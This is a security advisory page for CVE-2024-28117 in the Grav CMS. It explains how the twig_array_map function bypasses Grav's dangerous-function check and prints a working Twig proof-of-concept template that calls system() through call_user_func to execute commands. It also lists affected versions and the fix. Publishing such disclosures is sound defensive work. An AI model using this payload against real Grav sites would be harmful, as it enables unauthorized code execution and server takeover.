First published: Thu Mar 21 2024(Updated: )
### Summary Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands. ### Details ``` {{ grav.twig.twig.getFunction('twig_array_map')|var_dump }} ```  When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions. ``` {% set cmd = {'id':'system'} %} {{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }} ``` Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func. ### PoC ``` {% set cmd = {'id':'system'} %} {{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }} ``` ### Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Credit: security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
composer/getgrav/grav | <1.7.45 | 1.7.45 |
Getgrav | <1.7.45 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
The severity of CVE-2024-28117 is currently rated as critical due to the potential for arbitrary command execution.
To fix CVE-2024-28117, upgrade to the patched version 1.7.45 or later of the Grav software.
CVE-2024-28117 can allow attackers to execute arbitrary commands on the server, compromising the entire application.
CVE-2024-28117 affects all versions of Grav prior to 1.7.45.
CVE-2024-28117 exploits the lack of restrictions on the twig_array_map function, allowing bypassing of validation.